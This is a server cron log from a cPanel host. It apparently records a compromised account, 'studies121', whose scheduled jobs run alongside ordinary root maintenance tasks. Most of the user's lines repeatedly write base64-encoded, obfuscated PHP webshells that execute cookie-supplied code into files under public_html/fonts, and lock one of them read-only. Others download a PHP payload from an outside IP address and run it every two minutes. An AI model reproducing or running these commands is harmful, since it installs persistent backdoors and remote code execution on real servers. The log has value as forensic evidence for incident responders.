Sep  3 07:35:01 ip-184-168-122-23 CROND[27833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:35:01 ip-184-168-122-23 CROND[27837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:35:01 ip-184-168-122-23 CROND[27835]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 07:35:01 ip-184-168-122-23 CROND[27836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:35:01 ip-184-168-122-23 CROND[27838]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:36:01 ip-184-168-122-23 CROND[28053]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 07:36:01 ip-184-168-122-23 CROND[28056]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:36:01 ip-184-168-122-23 CROND[28055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:36:01 ip-184-168-122-23 CROND[28057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:36:01 ip-184-168-122-23 CROND[28058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:37:01 ip-184-168-122-23 CROND[28177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:37:01 ip-184-168-122-23 CROND[28175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:37:01 ip-184-168-122-23 CROND[28176]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:37:01 ip-184-168-122-23 CROND[28178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:38:01 ip-184-168-122-23 CROND[28286]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 07:38:01 ip-184-168-122-23 CROND[28288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:38:01 ip-184-168-122-23 CROND[28290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:38:01 ip-184-168-122-23 CROND[28289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:38:01 ip-184-168-122-23 CROND[28291]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:39:02 ip-184-168-122-23 CROND[28456]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:39:02 ip-184-168-122-23 CROND[28457]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 07:39:02 ip-184-168-122-23 CROND[28458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:39:02 ip-184-168-122-23 CROND[28461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:39:02 ip-184-168-122-23 CROND[28460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:40:01 ip-184-168-122-23 CROND[28575]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 07:40:01 ip-184-168-122-23 CROND[28576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:40:01 ip-184-168-122-23 CROND[28581]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 07:40:01 ip-184-168-122-23 CROND[28583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:40:01 ip-184-168-122-23 CROND[28580]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 07:40:01 ip-184-168-122-23 CROND[28584]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 07:40:01 ip-184-168-122-23 CROND[28587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:40:01 ip-184-168-122-23 CROND[28585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:41:01 ip-184-168-122-23 CROND[28763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:41:01 ip-184-168-122-23 CROND[28764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:41:01 ip-184-168-122-23 CROND[28765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:41:01 ip-184-168-122-23 CROND[28767]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:42:01 ip-184-168-122-23 CROND[28861]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:42:01 ip-184-168-122-23 CROND[28864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:42:01 ip-184-168-122-23 CROND[28863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:42:01 ip-184-168-122-23 CROND[28865]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 07:42:01 ip-184-168-122-23 CROND[28866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:43:01 ip-184-168-122-23 CROND[28996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:43:01 ip-184-168-122-23 CROND[28998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:43:01 ip-184-168-122-23 CROND[28999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:43:01 ip-184-168-122-23 CROND[29000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:44:01 ip-184-168-122-23 CROND[29116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:44:01 ip-184-168-122-23 CROND[29118]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 07:44:01 ip-184-168-122-23 CROND[29120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:44:01 ip-184-168-122-23 CROND[29121]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:44:01 ip-184-168-122-23 CROND[29119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:45:01 ip-184-168-122-23 CROND[29250]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 07:45:01 ip-184-168-122-23 CROND[29251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:45:01 ip-184-168-122-23 CROND[29254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:45:01 ip-184-168-122-23 CROND[29255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:45:01 ip-184-168-122-23 CROND[29256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:45:01 ip-184-168-122-23 CROND[29260]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 07:46:01 ip-184-168-122-23 CROND[29441]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 07:46:01 ip-184-168-122-23 CROND[29443]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:46:01 ip-184-168-122-23 CROND[29444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:46:01 ip-184-168-122-23 CROND[29446]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 07:46:01 ip-184-168-122-23 CROND[29447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:46:01 ip-184-168-122-23 CROND[29448]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 07:46:01 ip-184-168-122-23 CROND[29450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
